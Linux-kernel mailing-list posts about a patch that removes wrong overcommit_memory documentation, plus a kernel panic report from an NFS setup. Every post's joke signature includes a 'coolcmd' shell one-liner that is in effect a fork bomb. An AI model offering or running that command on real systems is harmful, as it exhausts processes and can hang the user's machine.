Re: [PATCH] Kernels Out Of Memoy(OOM) killer Problem ?
Once upon a midnight dreary, Denis Vlasenko pondered, weak and weary:
> Your sig is very very buggy (if interpreted as C code).
*You're* buggy! [1]
The command in the sig fixes the code.
-
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[EMAIL PROTECTED]" };
char kernel[]= { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
[1]:-)
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] Kernels Out Of Memoy(OOM) killer Problem ?
Summary: Patch removes incorrect documentation. Correct documentation
already exists in tree.
Once upon a midnight dreary, Alan Cox pondered, weak and weary:
> > > 0 - overcommit except if something is obviously silly
> > > 1 - overcommit always (some scientific workloads)
> > > 2 - don't overcommit (databases etc)
> > Exactly. Which is what the code and D/sysctl/vm.txt say, and why the
> > description in D/filesystems/proc.txt is a lying POS that needs to be
> > *shining blue led in everyones eyes* Exterminated before more people are
> > sucked into its world of lies.
> Please submit a patch to fix it
...
Kind of what I did (and changed the subject line to include PATCH). Albeit as
an attachment.
This time I fought with my mail client and won. See below sig.
I found no maintainer for the documentation, did I forget to CC someone?
-----
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[EMAIL PROTECTED]" };
char kernel[]= { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
diff -uprN linux-2.6.12.4.orig/CREDITS linux-2.6.12.4/CREDITS
--- linux-2.6.12.4.orig/CREDITS 2005-08-05 09:04:37.0 +0200
+++ linux-2.6.12.4/CREDITS 2005-08-09 11:21:53.0 +0200
@@ -1267,6 +1267,12 @@ E: [EMAIL PROTECTED]
W: http://www.inf.fu-berlin.de/~ehaase
D: Driver for the Commodore A2232 serial board
+N: Thomas Habets
+E: [EMAIL PROTECTED]
+W: http://www.habets.pp.se/
+D: Reader of code, slayer of wrongful documentation
+P: 1024D/AD48E854 A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854
+
N: Bruno Haible
E: [EMAIL PROTECTED]
D: SysV FS, shm swapping, memory management fixes
diff -uprN linux-2.6.12.4.orig/Documentation/filesystems/proc.txt
linux-2.6.12.4/Documentation/filesystems/proc.txt
--- linux-2.6.12.4.orig/Documentation/filesystems/proc.txt 2005-08-05
09:04:37.0 +0200
+++ linux-2.6.12.4/Documentation/filesystems/proc.txt 2005-08-09
11:16:13.0 +0200
@@ -1240,16 +1240,7 @@ swap-intensive.
overcommit_memory
-
-This file contains one value. The following algorithm is used to decide if
-there's enough memory: if the value of overcommit_memory is positive, then
-there's always enough memory. This is a useful feature, since programs often
-malloc() huge amounts of memory 'just in case', while they only use a small
-part of it. Leaving this value at 0 will lead to the failure of such a huge
-malloc(), when in fact the system has enough memory for the program to run.
-
-On the other hand, enabling this feature can cause you to run out of memory
-and thrash the system to death, so large and/or important servers will want to
-set this value to 0.
+See Documentation/sysctl/vm.txt.
nr_hugepages and hugetlb_shm_group
--
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] Kernels Out Of Memoy(OOM) killer Problem ?
Once upon a midnight dreary, Alan Cox pondered, weak and weary:
> 0 - overcommit except if something is obviously silly
> 1 - overcommit always (some scientific workloads)
> 2 - don't overcommit (databases etc)
Exactly. Which is what the code and D/sysctl/vm.txt say, and why the
description in D/filesystems/proc.txt is a lying POS that needs to be
*shining blue led in everyones eyes* Exterminated before more people are
sucked into its world of lies.
-
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[EMAIL PROTECTED]" };
char kernel[]= { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] Kernels Out Of Memoy(OOM) killer Problem ?
Attached (sorry, couldn't get it to not word-wrap inline) is a patch to remove
incorrect documentation regarding overcommit.
On Tuesday 09 August 2005 11:06, you wrote:
> vinay wrote:
> > I have a problem with linux kernel's Out Of Memory (OOM) killer.
You're not alone.
> This condition should not occur without using overcommit. Are you sure
> you are not using overcommit ? (cat /proc/sys/vm/overcommit_memory)
>
> To dasable it:
> echo 0 > /proc/sys/vm/overcommit_memory
The documentation seems forked on this point, and from what I can see from the
source (mm/mmap.c and include/linux/mman.h)
Documentation/filesystems/proc.txt is wrong and Documentation/sysctl/vm.txt
is right.
#define OVERCOMMIT_NEVER2
> Overcommit is quite dangerous on production systems, because it leads to
> oom kills on heavy loads (at least, this is what I experienced).
... and it's on by default. bleh.
-----
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[EMAIL PROTECTED]" };
char kernel[]= { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
diff -uprN linux-2.6.12.4.orig/CREDITS linux-2.6.12.4/CREDITS
--- linux-2.6.12.4.orig/CREDITS 2005-08-05 09:04:37.0 +0200
+++ linux-2.6.12.4/CREDITS 2005-08-09 11:21:53.0 +0200
@@ -1267,6 +1267,12 @@ E: [EMAIL PROTECTED]
W: http://www.inf.fu-berlin.de/~ehaase
D: Driver for the Commodore A2232 serial board
+N: Thomas Habets
+E: [EMAIL PROTECTED]
+W: http://www.habets.pp.se/
+D: Reader of code, slayer of wrongful documentation
+P: 1024D/AD48E854 A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854
+
N: Bruno Haible
E: [EMAIL PROTECTED]
D: SysV FS, shm swapping, memory management fixes
diff -uprN linux-2.6.12.4.orig/Documentation/filesystems/proc.txt linux-2.6.12.4/Documentation/filesystems/proc.txt
--- linux-2.6.12.4.orig/Documentation/filesystems/proc.txt 2005-08-05 09:04:37.0 +0200
+++ linux-2.6.12.4/Documentation/filesystems/proc.txt 2005-08-09 11:16:13.0 +0200
@@ -1240,16 +1240,7 @@ swap-intensive.
overcommit_memory
-
-This file contains one value. The following algorithm is used to decide if
-there's enough memory: if the value of overcommit_memory is positive, then
-there's always enough memory. This is a useful feature, since programs often
-malloc() huge amounts of memory 'just in case', while they only use a small
-part of it. Leaving this value at 0 will lead to the failure of such a huge
-malloc(), when in fact the system has enough memory for the program to run.
-
-On the other hand, enabling this feature can cause you to run out of memory
-and thrash the system to death, so large and/or important servers will want to
-set this value to 0.
+See Documentation/sysctl/vm.txt.
nr_hugepages and hugetlb_shm_group
--
PANIC: reproducable with nfs, lynx and kernel 2.4.0-test12
-BEGIN PGP SIGNED MESSAGE-
I'm not on the list, send private for more info
I got a kernel panic with 2.4.0-test12 on a p90 with 24 MB RAM.
It's a newly installed debian potato.
What I do to trigger the panic is:
mount otherbox:/export /mnt
cd /mnt
lynx www.pgpi.com
[ i click to download the latest pgp from norway over http ]
[ it downloads and asks where to save it, I just click enter for default ]
*crash*
A lot of stuff goes by that looks like (this is the last line of this kind):
[] [] [] []
Followed by:
Code: 89 42 04 89 10 b8 01 00 00 00 c7 43 04 00 00 00 00 c7 03 00
Aiee, killing interrupt handler
Kernel panic: attempted to kill the idle task!
In interrupt handler - not syncing
NOTE that I just compiled the entire kernel source over that same nfs mount,
without problems, which leads me to think that it's not a hw issue.
More information availible by request.
-
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[EMAIL PROTECTED]" };
char kernel[]= { "Linux 2.2" };
char *pgpKey[] = { "finger -m [EMAIL PROTECTED]" };
char pgpfinger[] = { "6517 2898 6AED EA2C 1015 DCF0 8E53 B69F 524B B541" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-BEGIN PGP SIGNATURE-
Version: PGPfreeware 5.0i for non-commercial use
MessageID: F/1sCKH/HYdhVYGAp9oLQgVrxJAoT9GU
iQA/AwUBOkFZgyhq6QqtSOhUEQLkvACfTEODuoCPF/Ve3EA1F8xIuT0ClL4AoPtw
MKFh2IhXngI87G4BGhRWKVuY
=CSfy
-END PGP SIGNATURE-
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
Please read the FAQ at http://www.tux.org/lkml/
